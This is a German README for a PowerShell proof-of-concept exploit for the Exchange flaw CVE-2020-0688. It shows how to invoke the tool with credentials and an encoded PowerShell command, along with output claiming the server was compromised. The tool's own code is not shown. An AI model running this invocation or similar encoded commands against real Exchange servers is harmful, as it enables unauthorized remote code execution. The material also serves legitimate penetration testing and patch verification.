
PoC für Forgot2kEyXCHANGE (CVE-2020-0688) geschrieben in PowerShell
PoC für Forgot2kEyXCHANGE (CVE-2020-0688) geschrieben in PowerShell
Dieser PoC erfordert einen gültigen Benutzernamen und ein gültiges Passwort.
Dieser PoC verwendet ysoserial.net, um den neuen ViewState zu erstellen, der den von Ihnen im Parameter -Command angegebenen Befehl enthält. Falls Sie dies nicht bereits auf Ihrem System installiert haben, laden Sie es hier herunter.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login erfolgreich!
[+] Neuer ViewState erfolgreich generiert!
[+] 500-Antwort erhalten, https://webmail.domain.tld erfolgreich geknackt!
Sie können gerne Issues eröffnen, beitragen und Pull Requests einreichen. Sie können mich auch auf Twitter (@JustinPerdok) anpingen.